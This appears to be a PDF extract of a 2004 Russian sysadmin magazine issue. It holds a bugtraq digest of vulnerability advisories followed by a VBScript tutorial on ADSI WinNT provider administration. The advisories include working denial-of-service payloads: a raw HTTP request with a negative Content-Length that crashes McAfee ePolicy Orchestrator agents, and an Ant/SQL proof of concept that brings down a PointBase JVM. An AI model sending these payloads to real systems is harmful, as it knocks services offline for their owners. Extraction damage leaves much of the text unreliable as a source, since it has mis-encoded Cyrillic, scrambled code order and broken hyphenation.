Уязвимость в Check Point FireWall-1/VPN-1при обработке H.323 сообщенийПрограмма: Check Point FireWall-1/VPN-1 NG.Опасность: Средняя.Описание: Уязвимость обнаружена в Check Point FireWall-1/VPN-1 обработке H.323 сообщений. Воздействие уязви-мости не раскрывается.

Сообщается, что Check Point FireWall-1 и VPN-1 уязви-мы к H.323 тестам безопасности, недавно выпущеннымиNISCC: http://www.uniras.gov.uk/vuls/2004/006489/h323.htm.Check Point не сообщает дополнительные подробности об-наруженной уязвимости.

Согласно сообщению, VPN-1 обрабатывает H.323 со-общения по умолчанию, а FireWall-1 нет.URL производителя: http://www.checkpoint.com/techsupport/alerts/h323.htmlРешение: Установите H.323 обновление: http://www.check-point.com/techsupport/h323_hf.html

Удаленнное переполнение буферав Serv-U FTP-сервереПрограмма: Serv-U FTP Server до версии 4.2.Опасность: Средняя.Описание: Переполнение стекового буфера обнаруженов Serv-U FTP-сервере. Удаленный пользователь может по-лучить привилегии на системе.

Удаленный авторизованный пользователь с доступомна запись, может использовать команду «site chmod» соспециально обработанным именем файла, чтобы вызватьпереполнение буфера и выполнить произвольный код нацелевой системе. Код будет выполнен с привилегиямиServ-U-процесса.URL производителя: http://www.serv-u.com/Решение: Обновите версию до Serv-U FTP Server 5.0

Удаленный отказ в обслуживании противMcAfee ePolicy OrchestratorПрограмма: McAfee ePolicy Orchestrator.Опасность: Средняя.Описание: Уязвимость обнаружена в McAfee ePolicyOrchestrator. Удаленный пользователь может аварийно за-вершить работу агента. Удаленный пользователь можетпредставить отрицательное значение параметра Content-Length, чтобы вызвать переполнение буфера и аварийнозавершить работу целевого агента.

URL производителя: http://www.nai.com/us/products/mcafee/antivirus/fileserver/epo.htmРешение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0Accept: application/octet-streamAccept-Language: en-usContent-Type: application/octet-streamUser-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)Host: KILL_EPOContent-Length: -1Connection: Keep-Alive

Выполнение произвольного кодав директориях в Windows XP ExplorerПрограмма: Windows XP Explorer.Опасность: Высокая.Описание: Уязвимость обнаружена в Microsoft Windows XPв Windows Explorer. Удаленный пользователь может скон-струировать директорию, которая, когда будет просмотре-на целевым пользователем, выполнит произвольный кодна системе пользователя.

Удаленный пользователь может сконструировать спе-циально обработанную «директорию», которая включаетHTML-код сценария и исполняемый Windows-файл. Когдацелевой пользователь пытается просмотреть содержание«директории», произвольный код будет автоматически вы-полнен на целевом компьютере пользователя с привиле-гиями текущего пользователя.URL производителя: http://www.Microsoft.comРешение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

DoS против базы данных PointBaseПрограмма: PointBase 4.6.Опасность: Средняя.Описание: Уязвимость обнаружена в базе данных PointBase.Удаленный пользователь может аварийно завершить ра-боту целевой системы, на которой запущен PointBase.

В конфигурации по умолчанию PointBase на все jar-файлы установлены все разрешения. В результате уда-ленный пользователь может представить специально об-работанную PointBase команду, чтобы завершить работуосновной виртуальной Java-машины.Пример/Эксплоит:

URL производителя: http://www.pointbase.com/node.shtml?-navHier=Products/Products+Overview&CF=products/overview.jspРешение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

Cоставил Александр Антипов

.(.!-- pointbase denial-of-service by marc schoenefeld --".).

.(.project default="dos".).

.(.property name="host" value="192.168.0.7"/.).

.(.target name="dos".).

.(.sqldriver="com.pointbase.jdbc.jdbcUniversalDriver"url="jdbc:pointbase://${host}:9092/sample"userid="pbpublic"password="pbpublic"print="true".).

.(.![CDATA[//DROP FUNCTION CRASH5(VARCHAR(20));CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20)LANGUAGE JAVA NO SQL EXTERNAL NAME"sun.misc.MessageUtils::toStderr" PARAMETER STYLE SQL;SELECT CRASH5(null) from SYSUSERS;]].)..(.classpath.).

.(.pathelement location="pbclient.jar"/.)..(./classpath.)..(./sql.)..(./target.)..(./project.).

64

bugtraq

Page 67: 015 Системный Администратор 02 2004
Page 68: 015 Системный Администратор 02 2004

66

образование

Объектная модельпровайдера WinNTРассмотрим программное управление ADSI с помощью про-вайдера WinNT, с помощью которого осуществляется дос-туп к классам. Каждый класс содержит один или несколькоподклассов. Объектная модель протокола WinNT, в кото-рой перечислены только классы, приведена на рисунке 1.

Доступ к объектам по протоколу WinNT описываетсязапросом, имеющим вид:

ПРОГРАММНОЕУПРАВЛЕНИЕ ADSI:

WinNT

ПРОГРАММНОЕУПРАВЛЕНИЕ ADSI:

WinNT

ИВАН КОРОБКО

В предыдущей статье были рассмотрены теоретические аспекты построения Active Directoryи проведен обзор доступных провайдеров, с помощью которых можно программно управлятьActive Directory. Одним из таких провайдеров является WinNT, основы программирования которогобудут рассмотрены в данной статье.

Ðèñóíîê 1

WinNT:[//DomainName[/ComputerName[/ObjectName[,ClassName]]]]

Доступ к провайдеру WinNT осуществляется по одно-му из шаблонов:1) Название класса содержится в запросе. С помощью фун-

кции GetObject формируется запрос, который включает всебя четыре параметра: название протокола – WinNT, имядомена – DomainName, рабочей станции – ComputerName,название объекта – ObjectName, название класса –ClassName. В этом случае доступ к подклассам осуществ-ляется с помощью цикла For. На VBScript в общем видезапрос выглядит следующим образом:

Параметры ComputerName и ObjectName могут отсутство-вать в том случае, если осуществляется поиск объектов.

2) Подключение к классу с помощью фильтра. Метод посвоей сути аналогичен предыдущему. Такой способ до-ступа к данным позволяет значительно увеличить ско-рость исполнения скрипта.

Ïðèìåð 1à)Set obj=GetObject("WinNT://" & DomainName & "/" & ↵↵↵↵↵

ComputerName & "/" & ObjectName & "," & ClassName).For Each element In objelement.valueNext

Page 69: 015 Системный Администратор 02 2004

67№2(15), февраль 2004

образование

Соответствия классов и подклассов приведено в таб-лице 2:

Из объектной модели протокола WinNT видно, что впространстве имен NameSpace существует всего два клас-са: Domain и Computer. Рассмотрим каждый из этих клас-сов в отдельности.

Класс Domain

Определение доступных доменовКласс Domain является верхним уровнем пространстваимен, поэтому для определения доступных доменов в фун-кции GetObject() ограничиваются название протокола. Не-обходимо помнить, что название протокола должно бытьнаписано именно WinNT – в противном случае сценарийвыдаст ошибку:

Чтение параметров класса DomainКласс Domain включает в себя восемь параметров. Всеэти параметры задаются в групповых политиках, за ис-ключением параметра Name. Описание параметров см. вПриложении.

При создании скрипта на VBScript необходимо помнить,что VBScript не преобразует типы данных автоматически,поэтому числовые данные необходимо преобразовыватьв строковые с помощью функции cstr().

Òàáëèöà 2

Приведем два примера: в первом примере будет осу-ществляться поиск объектов класса и вывод свойств этихобъектов, во втором – чтение и вывод свойств заданногообъекта. В первом примере с помощью скрипта на VBScriptбудут определены учетные записи пользователей доменаи прочитаны их имена:

Во втором примере явным образом задается имяпользователя и осуществляется чтение его свойств:

Чтобы эффективно пользоваться объектной моделью,необходимо знать назначение классов, какие они включают всебя подклассы и какие параметры имеют подклассы. Назна-чение и название каждого класса приведено в таблице 1:

Ïðèìåð 2à). Ïåðâûé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëèstrDomain="MyDomain"

Set Computer =GetObject("WinNT://" & strDomain & ",user")For Each User in Computerusers_d=users_d & " "& User.Name & chr(13)Next

Wsh.Echo users_dÏðèìåð 2á) Âòîðîé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëèstrDomain="MyDomain"

Set Computer =GetObject("WinNT://" & strDomain)Computer.Filter = Array("user")

For Each User in Computerusers_d=users_d & " "& User.Name & chr(13)Next

Wsh.Echo users_d

Ïðèìåð 1á)Set obj = GetObject("WinNT://" & DomainName)

obj.Filter = Array("user")For Each element In objelement.valueNext

Ïðèìåð 3a). Ïåðâûé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëèstrDomain="MyDomain"strUser="MyUserName"

Set Computer =GetObject("WinNT://" & strDomain & "/" ↵↵↵↵↵& strUser & ",user")users_d= User.Name & chr(13)

Wsh.Echo users_dÏðèìåð 3á). Âòîðîé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëèstrDomain="MyDomain"

Set Computer =GetObject("WinNT://" & strDomain)Computer.Filter = Array("user")

For Each User in Computerusers_d= User.Name & chr(13)Next

Wsh.Echo users_d

Òàáëèöà 1

Ïðèìåð 4Set obj=GetObject("WinNT:")

For Each element In objtemp=element.NameNext

MsgBox temp

Ïðèìåð 5. ×òåíèå âñåõ ïîëåé êëàññà ComputerSet obj=GetObject("WinNT:")

For Each element In objt1="Name: " + cstr(element.Name)+chr(13)t2="MinPasswordLength: "+ ↵↵↵↵↵

cstr(element.MinPasswordLength)+chr(13)t3="MinPasswordAge: " + cstr(element.MinPasswordAge)+chr(13)t4="MaxBadPasswordsAllowed: "+ ↵↵↵↵↵

cstr(element.MaxBadPasswordsAllowed)+chr(13)t5="AutoUnlockInterval: " + ↵↵↵↵↵

cstr(element.AutoUnlockInterval)+chr(13)t6="LockoutObservationInterval: " + ↵↵↵↵↵

cstr(element.LockoutObservationInterval)temp=temp+t1+t2+t3+t4+t5+t6+chr(13)+chr(13)

Page 70: 015 Системный Администратор 02 2004

68

образование

Значения MinPasswordAge и MaxPasswordAge указываютсяв групповых политиках в днях, поэтому необходим переводв дни, для чего полученное число необходимо разделить на86400; значения MinPasswordAge и LockoutObservationIntervalуказываются в групповых политиках в минутах, поэтому по-лученные значения необходимо разделить на 60.

Обновление параметров класса DomainУстановка новых параметров перечисленных значенийосуществляется с помощью метода SetInfo.

Перечисление объектов класса DomainПросмотр содержимого контейнера осуществляется с по-мощью конструкции For в соответствии с приведенным нижешаблоном. В качестве значения переменной Container мо-жет быть имя домена или компьютера:

Такой метод перечисления объектов будет возвращатьвсе содержимое любой базы SAM – контроллера домена,сервера или рабочей станции.

В приведенном примере возвращались объекты всехклассов, содержащиеся в домене (или в локальной базеSAM), поскольку тип объектов не определялся. Поскольку вдомене огромное количество объектов, для увеличения ско-рости работы скрипта целесообразно использовать фильтр.Фильтр может в себя включать следующие объекты:

Создание, переименование и удалениеобъектов в доменеВ Active Directory существует три типа встроенных объек-тов: учетная запись пользователя; группа, которая можетбыть локальной или глобальной; учетная запись компью-тера. С учетной записью пользователя можно проделы-вать следующие операции: создавать, удалять, переиме-новывать; группу можно создавать и удалять; учетнуюзапись компьютера можно создавать и удалять.

Создание объектовСоздание учетной записи пользователя осуществляетсяс помощью функции Create(). Приведем пример, в кото-ром создается учетная запись пользователя с именемUserName. При создании скрипта манипуляции с паро-лем и другими параметрами учетной записи должны про-изводиться, когда учетная запись существует, т.е. послеприменения метода: SetInfo.

Создание учетной записи группы отличается тем, чтонеобходимо указать тип группы с помощью функции Put().Локальной группе соответствует значение «4», глобаль-ной – «2».

Создание учетной записи компьютера аналогично со-зданию учетной записи пользователя, за исключениемследующего:! объект должен быть создан с использованием класса

computer;! у объекта должен быть установлен пользовательский

флаг Ошибка! Недопустимый объект гиперссылки. (см.раздел «Манипулирование пользовательскими флага-ми функцией UserFlags»);

Ïðèìåð 6. Èçìåíåíèå çíà÷åíèÿ ìèíèìàëüíîé äëèíû ïàðîëÿâ äîìåíà (NewLenght=10)

NewLenght=10Set obj=GetObject("WinNT:")

For Each element In objelement.MinPasswordLength= NewLenghtobj.SetInfo

temp ="NEW: MinPasswordLength: "+ ↵↵↵↵↵cstr(element.MinPasswordLength)+chr(13)

Next MsgBox temp

Ïðèìåð 7Container="Value"Set obj=GetObject("WinNT://"& Container)

For Each element In objtemp = temp + element.name + "; "Next

MsgBox temp

Òàáëèöà 3

Ïðèìåð 8: Îïðåäåëåíèå âñåõ ó÷åòíûõ çàïèñåé ïîëüçîâàòåëåé,âõîäÿùèõ â äîìåíSet objDomain=GetObject("WinNT:")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set obj=GetObject("WinNT://" & Domain_Name)obj.filter=array("user")For Each element In objtemp =temp+element.name+"; "Next

Ïðèìåð 9Set objDomain=GetObject("WinNT:")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set obj=GetObject("WinNT://" & Domain_Name)NewUser="UserName"Set CU=obj.Create("User",NewUser)CU.SetInfo

Ïðèìåð 10. Ñîçäàíèÿ ëîêàëüíîé ãðóïïû ñ èìåíåì GroupNameSet objDomain=GetObject("WinNT:")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set obj=GetObject("WinNT://" & Domain_Name)NewGroup="GroupName"Set CG=obj.Create("Group",NewGroup)CG.Put "groupType", 4CG.SetInfo

NextMsgBox temp

Page 71: 015 Системный Администратор 02 2004

69№2(15), февраль 2004

образование

! начальный пароль учетной записи должен соответство-вать имени компьютера, введенного строчными бук-вами. Результата добиваются с помощью функцииLCase().

Удаление объектовВсе три типа объектов удаляются, используя метод Delete.Приведем шаблон, в котором переменная ClassName можетпринимать значение computer, user, group; NameOfObject –имя удаляемого объекта:

Обратите внимание, что объект удаляется немедлен-но и использовать метод SetInfo не нужно.

Переименование объектовСреди трех ранее перечисленных объектов переименова-нию поддается только учетная запись пользователя. Пе-реименование учетной записи осуществляется с помощьюфункции MoveHere():

Подкласс UserУчетные записи пользователей домена содержатся в под-классе User. Подкласс включает в себя более 20 парамет-ров, некоторые из которых не поддерживаются Windows2k. Описание параметров см. в Приложении. Параметрыподкласса изначально задаются в групповых политиках.

Манипулирование пользовательскимифлагами функцией UserFlagsДля просмотра и изменения состояния пользовательскихфлагов в базе SAM применяются методы Get() и Put(),соответственно. Ниже приведены константы и их описа-ние. Константы представляют собой шестнадцатеричныезначения флагов:

Обратите внимание, что в таблице нет флага для па-раметра «User Must Change Password at Next Logon».Для установки флага следует менять значение свойстваPasswordExpired. О том, как это сделать, речь пойдетпозже. Для просмотра и изменения шестнадцатеричныхфлагов используют операторы Or, Xor и And следую-щим образом:! оператор Or – для начальной установки бита. На прак-

тике используется в случае создания новой учетной за-писи пользователя;

Ïðèìåð 11. Ñîçäàíèÿ ó÷åòíîé çàïèñè êîìïüþòåðà ñ èìåíåìComputerNameSet objDomain=GetObject("WinNT: ")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set obj=GetObject("WinNT://" & Domain_Name)NewComputer="ComputerName"Set CC=obj.Create("Computer", ↵↵↵↵↵

UCase(NewComputer))CC.SetInfo

Set CAccount= GetObject("WinNT://" & ↵↵↵↵↵Domain_Name&"/"& NewComputer&"$,user")

CAccount.Put "UserFlags", (CAccount.Get("UserFlags") ↵↵↵↵↵Or &H1000)

CAccount.SetPassword(LCase(NewComputer))CAccount.SetInfo

Ïðèìåð 12Set objDomain=GetObject("WinNT: ")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set obj=GetObject("WinNT://" & Domain_Name)ClassName="____"NameOfObject="____"Set CC=obj.Delete (ClassName, NameOfObject)

Ïðèìåð 13Set objDomain=GetObject("WinNT: ")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

OldUserName="____"NewUserName="____"Set obj=GetObject("WinNT://" ↵↵↵↵↵

& Domain_Name&"/"& OldUserName&",user") obj.MoveHere(User.AdsPath, NewUserName)

obj.Nothing

Ïðèìåð 14. ×òåíèÿ ïàðàìåòðîâ ïîäêëàññà UserSet obj=GetObject("WinNT:")

For Each str In objDomainName=str.NameNext

Set UserName="Value"Set element=GetObject("WinNT://" & DomainName & "/"& UserName)u1="FullName: "+ cstr(element.FullName)+chr(13)u2="UserFlags: "+ cstr(element.UserFlags)+chr(13)u3="LoginScript: "+ cstr(element.LoginScript)+chr(13)u4="MaxBadPasswordsAllowed: "+ ↵↵↵↵↵

cstr(element.MaxBadPasswordsAllowed)+chr(13)u5="PasswordHistoryLength: "+ ↵↵↵↵↵

cstr(element.PasswordHistoryLength)+chr(13)u6="AutoUnlockInterval: "+ ↵↵↵↵↵

cstr(element.AutoUnlockInterval)+chr(13)u7="PasswordAge: "+ cstr(element.PasswordAge)+chr(13)u8="PasswordExpired: "+ cstr(element.PasswordExpired)+chr(13)temp=""temp=u1+u2+u3

Òàáëèöà 4

Page 72: 015 Системный Администратор 02 2004

70

образование

! оператор Xor – для переключения статуса флага. Флагможет быть активизирован и дезактивирован;

! оператор And – для просмотра значения, хранящегосяв базе SAM.

Для просмотра значения флага используется функцияGet(). Рассмотрим пример, в котором прочитаем значе-ние параметра ADS_UF_DONTEXPIREPASSWD – управ-ление флагом «Password Never Expires»:

Для изменения значения флага используется функцияPut(), которая имеет следующий формат: value.Put«UserFlags» String. Рассмотрим использование данной фун-кции на примере, в котором изменим значение параметрана противоположное ADS_UF_DONTEXPIREPASSWD. Длятого чтобы изменения вступили в силу, необходимо исполь-зовать метод value.SetInfo.

Подкласс GroupПодкласс Group включает в себя 2 параметра: описание иSID группы. Чтение этих параметров происходит анало-гичным способом, описанным в предыдущем разделе.Изменение описание группы осуществляется использова-нием метода SetInfo.

Взаимосвязь учетных записейпользователей и группВ этом параграфе будут рассмотрены вопросы добавле-ния и исключения учетной записи пользователя из груп-пы членства пользователей в группе, принадлежностьпользователя к группам.

1) Добавление пользователя в группу осуществляетсяс помощью функции Add(), для удаления пользователя –функция Remove(). При использовнии метода Add() что-бы изменения вступили в силу, необходимо использовать

метод SetInfo. Удаление учетной записи пользователя изгруппы происходит сразу после вызова метода Remove.

Для удаления учетной записи из группы в приведен-ном примере последние две строки необходимо заменитьна строку element_group.Remove(element_user.ADsPath).

2) Для перечисления всех пользователей группы, напри-мер, группы GroupName, используют свойство Members:

3) Просмотр списка групп, к которой принадлежитпользователь. Использующийся в данном примере методISMember возвращает значение типа Boolean, т.е. True/False. Сценарий условно можно разделить на три части –определение текущего домена, определение списка группв домене и проверка членства в группе.

Убрав из данного примера конструкцию For Each elementIn obj можно, задав имя группы пользователя в явном виде,определять, является ли конкретный пользователь членомконкретной группы. Задачу, которая была решена в приме-ре, можно решить иным способом: необходимо получитьдоступ к учетной записи пользователя и в цикле For в каче-стве имени массива указать свойство ArrayName.Groups:

Ïðèìåð 15Set obj=GetObject("WinNT:")

For Each str In objDomainName=str.NameNext

Set UserName="Value"temp=""

Set element=GetObject("WinNT://" & DomainName & "/"& UserName)flag=element.Get("UserFlags")

if (flag AnD &H10000)<>0 thentemp="Ôëàã óñòàíîâëåí"

elsetemp="Ôëàã íå óñòàíîâëåí"

end ifMsgBox temp

Ïðèìåð 16Set obj=GetObject("WinNT:")

For Each str In objDomainName=str.NameNext

ADS_UF_DONTEXPIREPASSWD=&H0040Set UserName="Value"

Set element=GetObject("WinNT://" & DomainName & "/"& UserName)element.put "userFlags", element.Get("UserFlags") ↵↵↵↵↵

Xor ADS_UF_DONTEXPIREPASSWDelement.setinfo

MsgBox element.get("UserFlags")

Ïðèìåð 17. Äîáàâëåíèå ó÷åòíîé çàïèñè Value_Name â ãðóïïóValue_Group

Set obj=GetObject("WinNT:")For Each str In objDomainName=str.NameNext

Set UserName="Value_Name"Set GroupName="Value_Group"

Set element_user=GetObject("WinNT://" & DomainName & ↵↵↵↵↵"/"& UserName & ", user")

Set element_group=GetObject("WinNT://" & DomainName & ↵↵↵↵↵"/"& GroupName & ", group")element_group.Add(element_user.ADsPath)element_group.SetInfo

Ïðèìåð 18Set obj=GetObject("WinNT:")

For Each str In objDomainName=str.NameNext

Set GroupName="Value_Group"Set element_group=GetObject("WinNT://" & DomainName & ↵↵↵↵↵

"/"& GroupName & ", group")For each obj inGroup.Memberstemp=temp+Member.NameNext

MsgBox temp

Ïðèìåð 19Set objDomain=GetObject("WinNT: ")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

UserName="Administrator"Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName)

Set obj=GetObject("WinNT://" & DomainName)obj.filter=array("group")

For Each element In objSet element_group=GetObject("WinNT://" ↵↵↵↵↵

& DomainName& "/"& element.name )if element_group.IsMember ↵↵↵↵↵

(element_user.ADsPath)="True" thentemp=temp+ element.name & chr(13)

end ifNext

MsgBox temp

Page 73: 015 Системный Администратор 02 2004

71№2(15), февраль 2004

образование

Класс ComputerСвойства компьютера могут быть получены тем же спо-собом, что и свойства полей для пользователя или доме-на. Название и обозначения полей см. в Приложении.

Подклассы PrintQueue, PrintJob,PrintJobsCollection

Управление принтерами и очередямипринтеровПровайдер WinNT создавался для доступа к объектамдля семейства Microsoft Windows NT 4.0, поэтому прин-теры рассматриваются как локальные устройства, что по-зволяет осуществлять программное управление их оче-редями печати. В классе Computer существует два под-класса – PrintQueue и PrintJob. Для доступа к принтерунеобходимо, чтобы устройство было предоставлено в об-щее пользование.

Список папок и устройств, предоставленных в общеепользование в домене, включая скрытые папки, можнополучить, используя следующий код:

Подключение к принтеру осуществляется с помощьюпротокола GetObject() по доступному сетевому имени. Ещераз хочу обратить внимание, что, хотя подключение к прин-теру осуществляется как к сетевому устройству, он рас-сматривается как локальное устройство.

Приведем пример подключения к принтеру с помощьюпротокола WinNT и чтение свойства Name принтера:

Описание объектной модели подклассов PrintQueue иPrintJob см. в Приложении.

Управление принтеромУправление принтером также осуществляется с помощьюэлементов массива объекта, вызванного с помощью фун-кции GetObject(). Элементы массива содержат не толькостроки и массивы, но и команды:

Просмотр состояния принтераЧтение состояния принтера происходит с помощью функ-ции Status. После получения значения функцией Statusтребуется расшифровка значения.

Следует отметить, алгоритм просмотра состоянияпользователя очень похож на алгоритм определения со-стояния пользователя (см. примеры 14,15; таблицу 4).Константы состояния очереди печати приведены в таб-лице 6:

Значение переменной flag будет выдано в десятич-ном виде, поэтому его необходимо перевести в шест-надцатеричную систему.

Ïðèìåð 20Set obj=GhpLaserJetObject("WinNT://" ↵↵↵↵↵

& DomainName & "/"& UserName )For Each element In obj.Groupstemp = temp + element.name + chr(13)Next

Ïðèìåð 21On error Resume Next

Set objDomain=GetObject("WinNT:")For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set obj=GetObject("WinNT://" Domain_Name ↵↵↵↵↵&" /LanmanServer,fileservice")For Each element In objtemp=temp+element.Name+chr(13)msgbox temp

Òàáëèöà 5

Ïðèìåð 22. Èñïîëüçîâàíèå îäíîé èç êîìàíäSet pq = GetObject("WinNT://" & server_name & "/" & shares_enum)pq.purge

Set obj=GetObject(«WinNT://PCName/PrinterShareName»

Òàáëèöà 6

Ïðèìåð 24Set objDomain=GetObject("WinNT:")For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set PC_Name="_______"Set Share_Name="_______"

Set element=GetObject("WinNT://" & Domain_Name &"/" ↵↵↵↵↵& PC_Name &"/" & Share_Name)flag=element.statusMsgBox flag

Page 74: 015 Системный Администратор 02 2004

72

образование

Чтение свойств заданийв очереди принтераОчередь печати представляет собой массив, содержащийв себе задания, которые находятся в очереди печати намомент извлечения из нее данных с помощью протоколаWinNT. Список и описание свойств параметров очередисм. в Приложении раздел PrintJob.

Управление очередью печатиПодкласс PrintJobsCollection: управление очередью осу-ществляется тем же способом, что и управление принте-ром. Существует три команды, которые могут быть исполь-зованы для управления документом, находящимся в оче-реди печати:

Пример, в котором удаляется второе задание из оче-реди печати. Если задание № 2 отсутствует, то ошибкаобрабатывается с помощью выражения «On Error ResumeNext»:

Подклассы FileService и FileShareПодклассы FileService и FileShare являются дочернимидля подкласса Service, причем FileShare является дочер-

ним для FileService. Поскольку эти два подкласса тесносвязаны между собой, то их необходимо рассматриватьвместе. Используя эти классы, программно управляютбезопасностью и предоставления доступа к файлам и ка-талогам.

Для управления совместно используемыми ресурса-ми используется контейнер LanmanServer. Пример со-единения с контейнером LanmanServer приведен в при-мере 21.

Совместно используемыми ресурсами могут бытьпринтеры и папки с файлами. Управление принтерамибыло рассмотрено ранее. В этом разделе речь пойдетименно управлении файлами и папками.

Рассмотрим следующие ключевые вопросы, касающи-еся совместно используемых ресурсов: чтение свойствресурсов, создание и удаление совместно используемыхресурсов.

Чтение свойств совместноиспользуемых ресурсовЧтение свойств и назначение новых значений парамет-ров осуществляется ранее описанным методом. Приве-дем пример, в котором читается и выводится на экранописание ресурса, затем происходит смена описания ре-сурса:

Программное создание и удалениесовместно используемого ресурсаСоздание совместно используемого ресурса осуществля-ется с помощью метода Create. В свойствах метода ука-зывается тип создаваемого ресурса, в данном случаеfileshare, и название ресурса (ShareName). Метод Createобязательно сопровождается методом Path, с помощьюкоторого задается путь к ресурсу и методом SetInfo, кото-рый сохраняет сделанные изменения. Приведем пример,в котором предоставим в общее пользование папку, ло-кальный путь к которой «c:\folder001». Сетевой путь пап-ки должен быть «\\1000pc\Share1». Описание папки –«Shared Folder #1»:

Ïðèìåð 25. ×òåíèÿ ïîëåé î÷åðåäèSet objDomain=GetObject("WinNT: ")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Shares_Name="Value"Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name)For Each printJob In pq.PrintJobs

status_pre=printJob.statusselect case status_pre

case "0" status_="Íîðìàëüíî"case "1" status_="Ïàóçà"case "18" status_="Îøèáêà"

end selectsummary = summary & �Íîìåð äîêóìåòà: � & number_docum ↵↵↵↵↵

& chr(13) & chr(13) & �Ñòàòóñ: � & status_pre ↵↵↵↵↵& chr(13) & �Ïðèîðèòåò: � & printJob.Description & chr(13) ↵↵↵↵↵& �Ïîëüçîâàòåëü: � & printJob.User & chr(13) ↵↵↵↵↵& �Âñåãî ñòð. � & printJob.TotalPages & chr(13) ↵↵↵↵↵& �Ðàçìåð, (Mb) � & round(printJob.Size/1000000,2) ↵↵↵↵↵& chr(13) & �Ñòàòóñ: � & status_pre & chr(13) & chr(13)Next

Wscript.Echo summary

Òàáëèöà 7

Ïðèìåð 26On Error Resume NextSet objDomain=GetObject("WinNT: ")

For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Shares_Name="Value"Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name)For Each printJob In pq.PrintJobs If (number_docum=2) then printJob.remove end ifNext

Ïðèìåð 27Set objDomain=GetObject("WinNT:")For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set PC_Name="_______"Set Share_Name="_______"Set New_Description_Name="_______"Set element=GetObject("WinNT://" & Domain_Name &"/" ↵↵↵↵↵

& PC_Name &"/LanmanServer/" & Share_Name)temp="Old Description: " + Element.Description+chr(13)

Element.Description = New_Description_NameElement.SetInfo

temp="New Description " + Element.Descriptionmsgbox temp

Ïðèìåð 28. Ñîçäàíèå ðåñóðñàSet objDomain=GetObject("WinNT:")For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set PC_Name="1000pc"Set Share_Name="Share1"Set Folder_Path="c:\Folder1"

Page 75: 015 Системный Администратор 02 2004

73№2(15), февраль 2004

образование

Для удаления используемого ресурса вместо методаCreate используют метод Delete. Изменения вступают всилу немедленно:

Подкласс ServiceС помощью данного подкласса осуществляется управле-ние различными службами. С его помощью могут бытьосуществлены следующие действия, касающиеся служб:перечисление служб, установленных на локальном илиудаленном компьютере; чтение свойств выбранной служ-бы; управление службой.

Перечисление службна выбранном компьютереПеречисление служб на рабочей станции осуществляет-ся с помощью фильтра. Пример использования фильтрасм. в разделе «Объектная модель провайдера WinNT»;примеры 2б) и 3б); в таблице 2 перечислены все возмож-ные фильтры.

Чтение свойств службна выбранном компьютереПеречисление служб на рабочей станции осуществляет-ся с помощью фильтра.

Связывание службна выбранном компьютереПонятие «связывание служб» лучше всего продемонст-рировать на реальном примере: представьте, что служ-ба 1 связана, т.е. является зависимой от службы 2. Этообозначает, что при остановке службы 1 появится сооб-щение о необходимости остановки службы 2. Связан-ность служб характеризуется свойством Dependencies.Свойство Dependencies является массивом, см. Прило-жение.

ЗаключениеРассмотрев объектную модель провайдера WinNT; изу-чив на простых примерах основные принципы програм-мирования ADSI с помощью этого провайдера; методы,поддерживаемые провайдером WinNT, такие как SetInfo,Create, Delete и т. д., можно приступать к программиро-ванию с помощью провайдера WinNT. Однако необхо-димо оговориться: провайдер WinNT изначально созда-вался для Windows NT 4.0. В этом есть свои плюсы исвои минусы. По сравнению с программированием че-рез провайдера LDAP, программирование через WinNTсодержит гораздо меньше программного кода. Поэто-му программировать через провайдер WinNT проще.Принтеры рассматриваются как локальные, что имеетсвои плюсы и минусы. Изучив объектную модель про-токола LDAP, можно убедиться в том, что сочетание про-граммирования через оба провайдера обеспечит наи-лучший результат: максимальный функционал при ми-нимизации кода скрипта.

1 Логично предположить, что свойство возвращает ко-личество установленных процессоров, однако это не так:оно отображает используемый в системе HAL (аппарат-ный уровень абстракций).

Ïðèìåð 29. Óäàëåíèå ðåñóðñàSet objDomain=GetObject("WinNT:")For Each domain_element In objDomainDomain_Name= domain_element.NameNext

Set PC_Name="1000pc"Set Share_Name="Share1"Set Folder_Path="c:\Folder1"Set Description_Name="Shared Folder #1"

Set object=GetObject("WinNT://" & Domain_Name &"/" ↵↵↵↵↵& PC_Name &"/LanmanServer")

Call object.Delete("fileshare", Share_Name)

Ïðèìåð 30. Ñâÿçûâàíèå ñëóæáOn Error Resume Next

Set objDomain=GetObject("WinNT:")For Each domain_element In objDomain

Set Description_Name="Shared Folder #1"Set object=GetObject("WinNT://" & Domain_Name &"/" ↵↵↵↵↵

& PC_Name &"/LanmanServer")Set element=object.Create("fileshare", Share_Name)element.Path= Folder_Pathelement.Description= Description_Nameelement.MaxUserCount =10element.SetInfo

Domain_Name= domain_element.NameNext

Set Service_Name="______"Set PC_Name="______"

